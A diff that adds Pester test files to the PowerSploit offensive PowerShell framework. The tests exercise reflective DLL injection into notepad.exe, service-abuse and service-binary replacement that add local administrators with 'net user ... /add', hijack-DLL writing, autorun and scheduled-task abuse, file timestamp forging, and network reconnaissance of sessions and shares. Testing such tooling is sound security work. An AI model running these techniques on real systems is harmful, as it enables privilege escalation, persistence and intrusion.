+ $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath
+
+ if ($NotepadProc.ReturnValue -ne 0) {
+ throw 'Could not start victim process: notepad.exe'
+ }
+
+ $VictimPID = $NotepadProc.ProcessId
+
+ $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt'
+ if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath }
+
+ Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -ProcId $VictimPID -DoNotZeroMZ
+
+ $Result = Get-Content $TestOutputPath
+
+ Start-Sleep -Seconds 2
+
+ Stop-Process -Id $VictimPID
+
+ $Result | Should Not BeNullOrEmpty
+ $Result | Should Be 'Hello, world!'
+ }
+
+ It 'should not load a DLL in memory within powershell.exe when the bitness of powershell.exe and the DLL do not match.' {
+ if ($PowerShell32bit) {
+ $PEBytes = $WideStrDllBytes64
+ } else {
+ $PEBytes = $WideStrDllBytes32
+ }
+
+ # Attempt to load the wide string DLL in memory with a mismatched bitness
+ { Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -DoNotZeroMZ } | Should Throw
+ }
+
+ It 'should not load a DLL in memory within powershell.exe when the return types do not match.' {
+ # This DLL exports WStringFunc which means that -FunReturnType should be WString
+ { $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType String -DoNotZeroMZ } | Should Throw
+ }
+ }
+
+ Context 'EXE Loading' {
+ $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt'
+
+ BeforeEach {
+ if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath }
+ }
+
+ It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided no arguments' {
+ Invoke-ReflectivePEInjection -PEBytes $ExeBytes -DoNotZeroMZ
+ }
+
+ It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided arguments' {
+ Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs 'foo bar' -DoNotZeroMZ
+ }
+
+ AfterEach {
+ Start-Sleep -Seconds 2
+ $TestOutputPath | Should Exist
+ $Result = Get-Content $TestOutputPath
+
+ $Result | Should Not BeNullOrEmpty
+ $Result.StartsWith('Hello, world!') | Should Be $True
+ }
+ }
+} \ No newline at end of file
diff --git a/Tests/PowerSploit.tests.ps1 b/Tests/PowerSploit.tests.ps1
new file mode 100644
index 0000000..527face
--- /dev/null
+++ b/Tests/PowerSploit.tests.ps1
@@ -0,0 +1,49 @@
+Set-StrictMode -Version Latest
+
+$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
+$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
+
+filter Assert-NotLittleEndianUnicode {
+ [CmdletBinding()]
+ param (
+ [Parameter(Mandatory = $True,
+ ValueFromPipelineByPropertyName = $True,
+ ValueFromPipeline = $True)]
+ [Alias('FullName')]
+ [String[]]
+ $FilePath
+ )
+
+ $LittleEndianMarker = 48111 # 0xBBEF
+
+ Write-Verbose "Current file: $FilePath"
+ Write-Debug "Current file: $FilePath"
+
+ if ([System.IO.Directory]::Exists($FilePath)) {
+ Write-Debug "File is a directory."
+ return
+ }
+
+ if (-not [System.IO.File]::Exists($FilePath)) {
+ Write-Debug "File does not exist."
+ return
+ }
+
+ $FileBytes = Get-Content -TotalCount 3 -Encoding Byte -Path $FilePath
+
+ if ($FileBytes.Length -le 2) {
+ Write-Debug "File must be at least 2 bytes in length."
+ return
+ }
+
+ if ([BitConverter]::ToUInt16($FileBytes, 0) -eq $LittleEndianMarker) {
+ Write-Debug "File contains little endian unicode marker."
+ throw "$_ is little-endian unicode encoded."
+ }
+}
+
+Describe 'ASCII encoding of all scripts' {
+ It 'should not contain little-endian unicode encoded scripts or modules' {
+ { Get-ChildItem -Path $ModuleRoot -Recurse -Include *.ps1,*.psd1,*.psm1 | Assert-NotLittleEndianUnicode } | Should Not Throw
+ }
+} \ No newline at end of file
diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1
new file mode 100644
index 0000000..095c946
--- /dev/null
+++ b/Tests/Privesc.tests.ps1
@@ -0,0 +1,570 @@
+Set-StrictMode -Version Latest
+
+$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
+$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
+
+$ModuleManifest = "$ModuleRoot\Privesc\Privesc.psd1"
+Remove-Module [P]rivesc
+Import-Module $ModuleManifest -Force -ErrorAction Stop
+
+# import PowerUp.ps1 manually so we expose the helper functions for testing
+$PowerUpFile = "$ModuleRoot\Privesc\PowerUp.ps1"
+Import-Module $PowerUpFile -Force -ErrorAction Stop
+
+
+
+function Get-RandomName {
+ $r = 1..8 | ForEach-Object{Get-Random -max 26}
+ return ('abcdefghijklmnopqrstuvwxyz'[$r] -join '')
+}
+
+function Test-IsAdmin {
+ return ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
+}
+
+
+########################################################
+#
+# PowerUp helpers functions.
+#
+########################################################
+
+Describe 'Get-ModifiableFile' {
+
+ It 'Should output a file path.' {
+ $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+ $Null | Out-File -FilePath $FilePath -Force
+
+ try {
+ $Output = Get-ModifiableFile -Path $FilePath
+ $Output | Should Be $FilePath
+ }
+ finally {
+ $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
+ }
+ }
+
+ It 'Should extract a modifiable file specified as an argument in a command string.' {
+ $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+ $Null | Out-File -FilePath $FilePath -Force
+
+ $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'"
+
+ try {
+ $Output = Get-ModifiableFile -Path $FilePath
+ $Output | Should Be $FilePath
+ }
+ finally {
+ $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
+ }
+ }
+
+ It 'Should return no results for a non-existent path.' {
+ $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+
+ $Output = Get-ModifiableFile -Path $FilePath
+ $Output | Should BeNullOrEmpty
+ }
+
+ It 'Should accept a Path over the pipeline.' {
+ $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+
+ $Output = $FilePath | Get-ModifiableFile
+ $Output | Should BeNullOrEmpty
+ }
+}
+
+
+########################################################
+#
+# PowerUp service enumeration functions.
+#
+########################################################
+
+Describe 'Get-ServiceUnquoted' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Get-ServicePermission' Pester test needs local administrator privileges."
+ }
+
+ It "Should not throw." {
+ {Get-ServiceUnquoted} | Should Not Throw
+ }
+
+ It 'Should return service with a space in an unquoted binPath.' {
+
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName }
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+
+ $Output | Should Not BeNullOrEmpty
+ $Output.ServiceName | Should Be $ServiceName
+ $Output.Path | Should Be $ServicePath
+ }
+
+ It 'Should not return services with a quoted binPath.' {
+ $ServiceName = Get-RandomName
+ $ServicePath = "'C:\Program Files\service.exe'"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName }
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+
+ $Output | Should BeNullOrEmpty
+ }
+}
+
+
+Describe 'Get-ServiceFilePermission' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Get-ServiceFilePermission' Pester test needs local administrator privileges."
+ }
+
+ It 'Should not throw.' {
+ {Get-ServiceFilePermission} | Should Not Throw
+ }
+
+ It 'Should return a service with a modifiable service binary.' {
+ try {
+ $ServiceName = Get-RandomName
+ $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
+ $Null | Out-File -FilePath $ServicePath -Force
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+
+ $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName }
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+
+ $Output | Should Not BeNullOrEmpty
+ $Output.ServiceName | Should Be $ServiceName
+ $Output.Path | Should Be $ServicePath
+ }
+ finally {
+ $Null = Remove-Item -Path $ServicePath -Force
+ }
+ }
+
+ It 'Should not return a service with a non-existent service binary.' {
+ $ServiceName = Get-RandomName
+ $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+
+ $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName }
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+
+ $Output | Should BeNullOrEmpty
+ }
+}
+
+
+Describe 'Get-ServicePermission' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Get-ServicePermission' Pester test needs local administrator privileges."
+ }
+
+ It 'Should not throw.' {
+ {Get-ServicePermission} | Should Not Throw
+ }
+
+ It 'Should return a modifiable service.' {
+ $Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'}
+ $Output | Should Not BeNullOrEmpty
+ }
+}
+
+
+Describe 'Get-ServiceDetail' {
+
+ It 'Should return results for a valid service.' {
+ $Output = Get-ServiceDetail -ServiceName Dhcp
+ $Output | Should Not BeNullOrEmpty
+ }
+
+ It 'Should return not results for an invalid service.' {
+ $Output = Get-ServiceDetail -ServiceName NonExistent123
+ $Output | Should BeNullOrEmpty
+ }
+
+ It 'Should accept a service name on the pipeline.' {
+ $Output = "Dhcp" | Get-ServiceDetail
+ $Output | Should Not BeNullOrEmpty
+ }
+}
+
+
+
+########################################################
+#
+# PowerUp service abuse functions.
+#
+########################################################
+
+Describe 'Invoke-ServiceAbuse' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Invoke-ServiceAbuse' Pester test needs local administrator privileges."
+ }
+
+ BeforeEach {
+ $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
+ $Null = sc.exe create "PowerUpService" binPath= $ServicePath
+ }
+
+ AfterEach {
+ $Null = sc.exe delete "PowerUpService"
+ $Null = $(net user john /delete >$Null 2>&1)
+ }
+
+ It 'Should abuse a vulnerable service to add a local administrator with default options.' {
+ $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService"
+ $Output.Command | Should Match "net"
+
+ if( -not ($(net localgroup Administrators) -match "john")) {
+ Throw "Local user 'john' not created."
+ }
+ }
+
+ It 'Should accept a service name on the pipeline.' {
+ $Output = "PowerUpService" | Invoke-ServiceAbuse
+ $Output.Command | Should Match "net"
+
+ if( -not ($(net localgroup Administrators) -match "john")) {
+ Throw "Local user 'john' not created."
+ }
+ }
+
+ It 'User should not be created for a non-existent service.' {
+ $Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456"
+ $Output.Command | Should Match "Not found"
+
+ if( ($(net localgroup Administrators) -match "john")) {
+ Throw "Local user 'john' should not have been created for non-existent service."
+ }
+ }
+
+ It 'Should accept custom user/password arguments.' {
+ $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!'
+ $Output.Command | Should Match "net"
+
+ if( -not ($(net localgroup Administrators) -match "PowerUp")) {
+ Throw "Local user 'PowerUp' not created."
+ }
+ $Null = $(net user PowerUp /delete >$Null 2>&1)
+ }
+
+ It 'Should accept a custom command.' {
+ $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+ $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add"
+
+ if( -not ($(net user) -match "testing")) {
+ Throw "Custom command failed."
+ }
+ $Null = $(net user testing /delete >$Null 2>&1)
+ }
+}
+
+
+Describe 'Install-ServiceBinary' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Install-ServiceBinary' Pester test needs local administrator privileges."
+ }
+
+ BeforeEach {
+ $ServicePath = "$(Get-Location)\powerup.exe"
+ $Null | Out-File -FilePath $ServicePath -Force
+ $Null = sc.exe create "PowerUpService" binPath= $ServicePath
+ }
+
+ AfterEach {
+ try {
+ $Null = Invoke-ServiceStop -ServiceName PowerUpService
+ $Null = sc.exe delete "PowerUpService"
+ $Null = $(net user john /delete >$Null 2>&1)
+ }
+ finally {
+ if(Test-Path "$(Get-Location)\powerup.exe") {
+ $Null = Remove-Item -Path "$(Get-Location)\powerup.exe" -Force -ErrorAction SilentlyContinue
+ }
+ if(Test-Path "$(Get-Location)\powerup.exe.bak") {
+ $Null = Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force -ErrorAction SilentlyContinue
+ }
+ }
+ }
+
+ It 'Should abuse a vulnerable service binary to add a local administrator with default options.' {
+
+ $Output = Install-ServiceBinary -ServiceName "PowerUpService"
+ $Output.Command | Should Match "net"
+
+ $Null = Invoke-ServiceStart -ServiceName PowerUpService
+ Start-Sleep -Seconds 3
+ if( -not ($(net localgroup Administrators) -match "john")) {
+ Throw "Local user 'john' not created."
+ }
+ $Null = Invoke-ServiceStop -ServiceName PowerUpService
+
+ $Output = Restore-ServiceBinary -ServiceName PowerUpService
+ "$(Get-Location)\powerup.exe.bak" | Should Not Exist
+ }
+
+ It 'Should accept a service name on the pipeline.' {
+
+ $Output = "PowerUpService" | Install-ServiceBinary
+ $Output.Command | Should Match "net"
+
+ $Null = Invoke-ServiceStart -ServiceName PowerUpService
+ Start-Sleep -Seconds 3
+ if( -not ($(net localgroup Administrators) -match "john")) {
+ Throw "Local user 'john' not created."
+ }
+ $Null = Invoke-ServiceStop -ServiceName PowerUpService
+
+ $Output = Restore-ServiceBinary -ServiceName PowerUpService
+ "$(Get-Location)\powerup.exe.bak" | Should Not Exist
+ }
+
+ It 'User should not be created for a non-existent service.' {
+ $Output = Install-ServiceBinary -ServiceName "NonExistentService456"
+ $Output.Command | Should Match "Not found"
+ }
+
+ It 'Should accept custom user/password arguments.' {
+ $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!'
+ $Output.Command | Should Match "net"
+
+ $Null = Invoke-ServiceStart -ServiceName PowerUpService
+ Start-Sleep -Seconds 3
+ if( -not ($(net localgroup Administrators) -match "PowerUp")) {
+ Throw "Local user 'PowerUp' not created."
+ }
+ $Null = $(net user PowerUp /delete >$Null 2>&1)
+
+ $Output = Restore-ServiceBinary -ServiceName PowerUpService
+ "$(Get-Location)\powerup.exe.bak" | Should Not Exist
+ }
+
+ It 'Should accept a custom command.' {
+
+ $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add"
+ $Output.Command | Should Match "net"
+
+ $Null = Invoke-ServiceStart -ServiceName PowerUpService
+ Start-Sleep -Seconds 3
+ if( -not ($(net user) -match "testing")) {
+ Throw "Custom command failed."
+ }
+ $Null = $(net user testing /delete >$Null 2>&1)
+
+ $Output = Restore-ServiceBinary -ServiceName PowerUpService
+ "$(Get-Location)\powerup.exe.bak" | Should Not Exist
+ }
+}
+
+
+########################################################
+#
+# PowerUp .dll hijacking functions.
+#
+########################################################
+
+Describe 'Find-DLLHijack' {
+ It 'Should return results.' {
+ $Output = Find-DLLHijack
+ $Output | Should Not BeNullOrEmpty
+ }
+}
+
+
+Describe 'Find-PathHijack' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Find-PathHijack' Pester test needs local administrator privileges."
+ }
+
+ It 'Should find a hijackable %PATH% folder.' {
+
+ New-Item -Path C:\PowerUpTest\ -ItemType directory -Force
+
+ try {
+ $OldPath = $Env:PATH
+ $Env:PATH += ';C:\PowerUpTest\'
+
+ $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"}
+
+ $Env:PATH = $OldPath
+ $Output.HijackablePath | Should Be 'C:\PowerUpTest\'
+ }
+ catch {
+ $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue
+ }
+ }
+}
+
+# won't actually execute on Win8+ with the wlbsctrl.dll method
+Describe 'Write-HijackDll' {
+
+ It 'Should write a .dll that executes a custom command.' {
+
+ try {
+ Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add"
+
+ "$(Get-Location)\powerup.dll" | Should Exist
+ "$(Get-Location)\debug.bat" | Should Exist
+ }
+ finally {
+ $Null = Remove-Item -Path "$(Get-Location)\powerup.dll" -Force -ErrorAction SilentlyContinue
+ $Null = Remove-Item -Path "$(Get-Location)\debug.bat" -Force -ErrorAction SilentlyContinue
+ }
+ }
+}
+
+
+########################################################
+#
+# PowerUp registry checks.
+#
+########################################################
+
+Describe 'Get-RegAlwaysInstallElevated' {
+ It 'Should not throw.' {
+ {Get-ServicePermission} | Should Not Throw
+ }
+}
+
+
+Describe 'Get-RegAutoLogon' {
+ It 'Should not throw.' {
+ {Get-ServicePermission} | Should Not Throw
+ }
+}
+
+
+Describe 'Get-VulnAutoRun' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Get-VulnAutoRun' Pester test needs local administrator privileges."
+ }
+
+ It 'Should not throw.' {
+ {Get-VulnAutoRun} | Should Not Throw
+ }
+ It 'Should find a vulnerable autorun.' {
+ try {
+ $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+ $Null | Out-File -FilePath $FilePath -Force
+ $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'"
+
+ $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"}
+
+ $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp
+
+ $Output.ModifiableFile | Should Be $FilePath
+ }
+ finally {
+ $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
+ }
+ }
+}
+
+
+########################################################
+#
+# PowerUp misc. checks.
+#
+########################################################
+
+Describe 'Get-VulnSchTask' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Get-VulnSchTask' Pester test needs local administrator privileges."
+ }
+
+ It 'Should not throw.' {
+ {Get-VulnSchTask} | Should Not Throw
+ }
+
+ It 'Should find a vulnerable config file for a binary specified in a schtask.' {
+
+ try {
+ $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+ $Null | Out-File -FilePath $FilePath -Force
+
+ $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f
+
+ $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'}
+ $Null = schtasks.exe /delete /tn PowerUp /f
+
+ $Output.TaskFilePath | Should Be $FilePath
+ }
+ finally {
+ $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
+ }
+ }
+}
+
+
+Describe 'Get-UnattendedInstallFile' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Get-UnattendedInstallFile' Pester test needs local administrator privileges."
+ }
+
+ It 'Should not throw.' {
+ {Get-UnattendedInstallFile} | Should Not Throw
+ }
+ It 'Should return a leftover autorun' {
+ $FilePath = Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"
+
+ try {
+ $Null | Out-File -FilePath $FilePath -Force
+ $Output = Get-UnattendedInstallFile
+
+ $Output | Should Not BeNullOrEmpty
+ }
+ finally {
+ $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
+ }
+ }
+}
+
+
+Describe 'Get-Webconfig' {
+ It 'Should not throw.' {
+ {Get-Webconfig} | Should Not Throw
+ }
+}
+
+
+Describe 'Get-ApplicationHost' {
+ It 'Should not throw.' {
+ {Get-ApplicationHost} | Should Not Throw
+ }
+}
+
+
+Describe 'Invoke-AllChecks' {
+ It 'Should return results to stdout.' {
+ $Output = Invoke-AllChecks
+ $Output | Should Not BeNullOrEmpty
+ }
+ It 'Should produce a HTML report with -HTMLReport.' {
+ $Output = Invoke-AllChecks -HTMLReport
+ $Output | Should Not BeNullOrEmpty
+
+ $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html"
+
+ $HtmlReportFile | Should Exist
+ $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue
+ }
+}
diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1
new file mode 100644
index 0000000..8fd3d75
--- /dev/null
+++ b/Tests/Recon.tests.ps1
@@ -0,0 +1,621 @@
+
+$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
+$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
+$ModuleManifest = "$ModuleRoot\Recon\Recon.psd1"
+
+Remove-Module [R]econ
+Import-Module $ModuleManifest -Force -ErrorAction Stop
+
+# import PowerView.ps1 manually so we expose the helper functions for testing
+$PowerViewFile = "$ModuleRoot\Recon\PowerView.ps1"
+Import-Module $PowerViewFile -Force -ErrorAction Stop
+
+
+# Get the local IP address for later testing
+$IPregex = "(?<Address>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))"
+$LocalIP = (gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -match $IPregex}).ipaddress[0]
+
+
+########################################################
+#
+# PowerView functions.
+#
+########################################################
+
+Describe 'Export-PowerViewCSV' {
+ It 'Should Not Throw and should produce .csv output.' {
+ {Get-Process | Export-PowerViewCSV -OutFile process_test.csv} | Should Not Throw
+ '.\process_test.csv' | Should Exist
+ Remove-Item -Force .\process_test.csv
+ }
+}
+
+
+Describe 'Set-MacAttribute' {
+ BeforeEach {
+ New-Item MacAttribute.test.txt -Type file
+ }
+ AfterEach {
+ Remove-Item -Force MacAttribute.test.txt
+ }
+ It 'Should clone MAC attributes of existing file' {
+ Set-MacAttribute -FilePath MacAttribute.test.txt -All '01/01/2000 12:00 am'
+ $File = (Get-Item MacAttribute.test.txt)
+ $Date = Get-Date -Date '2000-01-01 00:00:00'
+
+ if ($File.LastWriteTime -ne $Date) {
+ Throw 'File LastWriteTime does Not match'
+ }
+ elseif($File.LastAccessTime -ne $Date) {
+ Throw 'File LastAccessTime does Not match'
+ }
+ elseif($File.CreationTime -ne $Date) {
+ Throw 'File CreationTime does Not match'
+ }
+ }
+}
+
+
+Describe 'Get-IPAddress' {
+ $IPregex = "(?<Address>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))"
+ It 'Should return local IP address' {
+ if( $(Get-IPAddress) -notmatch $IPRegex ) {
+ Throw 'Invalid local IP address returned'
+ }
+ }
+ It 'Should accept -ComputerName argument' {
+ if( $(Get-IPAddress -ComputerName $env:COMPUTERNAME) -notmatch $IPRegex ) {
+ Throw 'Invalid -ComputerName IP address returned'
+ }
+ }
+}
+
+Describe 'Convert-SidToName' {
+ It 'Should resolve built in SIDs' {
+ Convert-SidToName -SID 'S-1-5-32-545' | Should Be 'BUILTIN\Users'
+ }
+ It 'Should accept pipeline input' {
+ 'S-1-5-32-552' | Convert-SidToName | Should Be 'BUILTIN\Replicators'
+ }
+ It 'Should return a unresolvable SID' {
+ Convert-SidToName -SID 'S-1-5-32-1337' | Should Be 'S-1-5-32-1337'
+ }
+}
+
+
+Describe 'Get-Proxy' {
+ It 'Should Not Throw' {
+ {Get-Proxy} | Should Not Throw
+ }
+ It 'Should accept -ComputerName argument' {
+ {Get-Proxy -ComputerName $env:COMPUTERNAME} | Should Not Throw
+ }
+}
+
+
+Describe 'Get-PathAcl' {
+ It 'Should Not Throw' {
+ {Get-PathAcl C:\} | Should Not Throw
+ }
+ It 'Should return correct ACLs' {
+ $Output = Get-PathAcl -Path C:\Windows | ?{$_.IdentityReference -eq "Creator Owner"}
+ if(-not $Output) {
+ Throw "Output Not returned"
+ }
+ if($Output.FileSystemRights -ne 'GenericAll') {
+ Throw "Incorrect FileSystemRights returned"
+ }
+ }
+}
+
+
+Describe 'Get-NameField' {
+ It 'Should extract dnshostname field from custom object' {
+ $Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing1'}
+ if ( (Get-NameField -Object $Object) -ne 'testing1') {
+ Throw "'dnshostname' field Not parsed correctly"
+ }
+ }
+ It 'Should extract name field from custom object' {
+ $Object = New-Object -TypeName PSObject -Property @{'name' = 'testing2'}
+ if ( (Get-NameField -Object $Object) -ne 'testing2') {
+ Throw "'name' field Not parsed correctly"
+ }
+ }
+ It 'Should handle plaintext strings' {
+ if ( (Get-NameField -Object 'testing3') -ne 'testing3') {
+ Throw 'Plaintext string Not parsed correctly'
+ }
+ }
+ It 'Should accept pipeline input' {
+ $Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing4'}
+ if ( ($Object | Get-NameField) -ne 'testing4') {
+ Throw 'Pipeline input Not processed correctly'
+ }
+ }
+}
+
+
+Describe 'Invoke-ThreadedFunction' {
+ It "Should allow threaded ping" {
+ $Hosts = ,"localhost" * 100
+ $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
+ $Hosts = Invoke-ThreadedFunction -NoImports -ComputerName $Hosts -ScriptBlock $Ping -Threads 20
+ if($Hosts.length -ne 100) {
+ Throw 'Error in using Invoke-ThreadedFunction to ping localhost'
+ }
+ }
+}
+
+
+Describe "Get-NetLocalGroup" {
+ It "Should return results for local machine administrators" {
+ if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) {
+ Throw "Incorrect local administrators returned"
+ }
+ }
+ It "Should return results for listing local groups" {
+ if ( (Get-NetLocalGroup -ListGroups | Measure-Object).count -lt 1) {
+ Throw "Incorrect local administrators returned"
+ }
+ }
+ # TODO: -ComputerList
+ It "Should accept -GroupName argument" {
+ {Get-NetLocalGroup -GroupName "Remote Desktop Users"} | Should Not Throw
+ }
+ It "Should accept NETBIOS -ComputerName argument" {
+ if ( (Get-NetLocalGroup -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Incorrect local administrators returned"
+ }
+ }
+ It "Should accept IP -ComputerName argument" {
+ if ( (Get-NetLocalGroup -ComputerName $LocalIP | Measure-Object).count -lt 1) {
+ Throw "Incorrect local administrators returned"
+ }
+ }
+ It "Should accept pipeline input" {
+ if ( ( "$env:computername" | Get-NetLocalGroup | Measure-Object).count -lt 1) {
+ Throw "Incorrect local administrators returned"
+ }
+ }
+}
+
+
+Describe "Get-NetShare" {
+ It "Should return results for the local host" {
+ if ( (Get-NetShare | Measure-Object).count -lt 1) {
+ Throw "Incorrect share results returned"
+ }
+ }
+ It "Should accept NETBIOS -ComputerName argument" {
+ if ( (Get-NetShare -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Incorrect local administrators returned"
+ }
+ }
+ It "Should accept IP -ComputerName argument" {
+ if ( (Get-NetShare -ComputerName $LocalIP | Measure-Object).count -lt 1) {
+ Throw "Incorrect share results returned"
+ }
+ }
+ It "Should accept pipeline input" {
+ if ( ( "$env:computername" | Get-NetShare | Measure-Object).count -lt 1) {
+ Throw "Incorrect local administrators returned"
+ }
+ }
+}
+
+
+Describe "Get-NetLoggedon" {
+ It "Should return results for the local host" {
+ if ( (Get-NetLoggedon | Measure-Object).count -lt 1) {
+ Throw "Incorrect loggedon results returned"
+ }
+ }
+ It "Should accept NETBIOS -ComputerName argument" {
+ if ( (Get-NetLoggedon -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Incorrect loggedon results returned"
+ }
+ }
+ It "Should accept IP -ComputerName argument" {
+ if ( (Get-NetLoggedon -ComputerName $LocalIP | Measure-Object).count -lt 1) {
+ Throw "Incorrect loggedon results returned"
+ }
+ }
+ It "Should accept pipeline input" {
+ if ( ( "$env:computername" | Get-NetLoggedon | Measure-Object).count -lt 1) {
+ Throw "Incorrect local administrators returned"
+ }
+ }
+}
+
+
+Describe "Get-NetSession" {
+ It "Should return results for the local host" {
+ if ( (Get-NetSession | Measure-Object).count -lt 1) {
+ Throw "Incorrect session results returned"
+ }
+ }
+ It "Should accept NETBIOS -ComputerName argument" {
+ if ( (Get-NetSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Incorrect session results returned"
+ }
+ }
+ It "Should accept IP -ComputerName argument" {
+ if ( (Get-NetSession -ComputerName $LocalIP | Measure-Object).count -lt 1) {
+ Throw "Incorrect session results returned"
+ }
+ }
+ It "Should accept the -UserName argument" {
+ {Get-NetSession -UserName 'Administrator'} | Should Not Throw
+ }
+ It "Should accept pipeline input" {
+ {"$env:computername" | Get-NetSession} | Should Not Throw
+ }
+}
+
+
+Describe "Get-NetRDPSession" {
+ It "Should return results for the local host" {
+ if ( (Get-NetRDPSession | Measure-Object).count -lt 1) {
+ Throw "Incorrect session results returned"
+ }
+ }
+ It "Should accept NETBIOS -ComputerName argument" {
+ if ( (Get-NetRDPSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Incorrect session results returned"
+ }
+ }
+ It "Should accept IP -ComputerName argument" {
+ if ( (Get-NetRDPSession -ComputerName $LocalIP | Measure-Object).count -lt 1) {
+ Throw "Incorrect session results returned"
+ }
+ }
+ It "Should accept pipeline input" {
+ {"$env:computername" | Get-NetRDPSession} | Should Not Throw
+ }
+}
+
+
